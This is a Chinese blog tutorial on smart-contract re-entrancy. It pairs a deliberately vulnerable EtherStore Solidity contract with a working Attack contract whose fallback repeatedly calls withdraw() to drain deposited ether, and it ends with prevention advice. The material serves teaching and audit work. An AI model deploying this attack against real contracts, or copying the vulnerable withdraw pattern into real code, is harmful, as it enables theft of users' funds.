智能合约安全之Re-Entrancy(重入攻击)

admin 2022年10月29日14:57:14评论22 views字数 2905阅读9分41秒阅读模式

0x01 漏洞介绍

近期在面向Web2到Web3的转型,当然对于红蓝对抗依旧是没有落下。web3不单是金融,运营,社交... ...还有对应的安全,钱包安全、智能合约安全等... ...

我想接下来我会将大部分时间都留给Web3的学习上面,毕竟是一个全新的领域。下面分享的是一个智能合约常见的漏洞之一!

0x02 漏洞介绍与原理

将Ether发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码导致重新进入逻辑

  • address.transfer()
  • address.send()
  • address.call()

除了call()之外其他两个函数都无法造成重入漏洞(没有条件)

由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。

  • Fallback函数

概念: 回退函数,是合约里的特殊无名函数,有且仅有一个。它在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。

  • Call 函数调用

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。

其中,call 是最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境即合约的 storage。

通常情况下合约之间通过 call 来相互调用执行,由于 call 在相互调用过程中,被调用方的内置变量 msg 会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。

漏洞流程

智能合约安全之Re-Entrancy(重入攻击)

0x03 漏洞分析与复现

存在漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

这些代码看起来是一个正常的充值与提币的合约,但是EtherStore合约当中的withdraw()函数存在外部调用msg.sender.call{value: bal}

在这种情况下我们可以暂且定义为存在重入攻击!可以编写攻击合约来确认该合约是否真实存在重入漏洞。

攻击合约
contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }
    
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击者可以使用攻击合约,清空存在重入漏洞的合约(相当于将合约里的存款全部转移到自己的账户)

流程

1)受害者:Tony 在EtherStore合约中存入2 ETH 2)攻击者:Hacker 也在EtherStore合约中存入2ETH 3)这个时候EtherStore合约中存在4ETH 4)攻击着使用Attack攻击合约对钱包里的ETH进行重入攻击,清空合约里的ETH

智能合约安全之Re-Entrancy(重入攻击)

这个时候合约已经被存入了4ETH,目前攻击者的合约中是不存在ETH的

智能合约安全之Re-Entrancy(重入攻击)

那么我们开始进行重入攻击!

智能合约安全之Re-Entrancy(重入攻击)

可以发现,EtherStore合约当中的ETH已经被清空,转而在Attack合约当中出现了4ETH。证明,重入漏洞攻击成功,EtherStore合约存在重入攻击漏洞。

攻击者的函数调用流程图:(转自FREEBUF)智能合约安全之Re-Entrancy(重入攻击)

漏洞预防

  • 1.在将 Ether 发送给外部合约时使用内置的 transfer() 函数 。transfer转账功能只发送 2300 gas 不足以使目的地址/合约调用另一份合约(即重入发送合约)。
  • 2.引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
  • 3.将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为 检查效果交互(checks-effects-interactions) 模式。

0x04 结尾

Web3的路程还远,我们要学习的不止是Web3的安全!在学习智能合约审计之前我请教了我的好兄弟@毕竟话少,他的博客写的非常好,对我很受用,也是智能合约审计的入门必看博客。除此之外还有慢雾科技、零时科技,CerTik等等

代码摘自:https://solidity-by-example.org/hacks/re-entrancy/
参考:https://ssr-zjm.github.io/2020/01/08/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6%E5%AE%A1%E8%AE%A1-%E9%87%8D%E5%85%A5%E6%BC%8F%E6%B4%9E.html

原文始发于微信公众号(不懂安全的校长):智能合约安全之Re-Entrancy(重入攻击)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月29日14:57:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约安全之Re-Entrancy(重入攻击)https://cn-sec.com/archives/1373667.html

发表评论

匿名网友 填写信息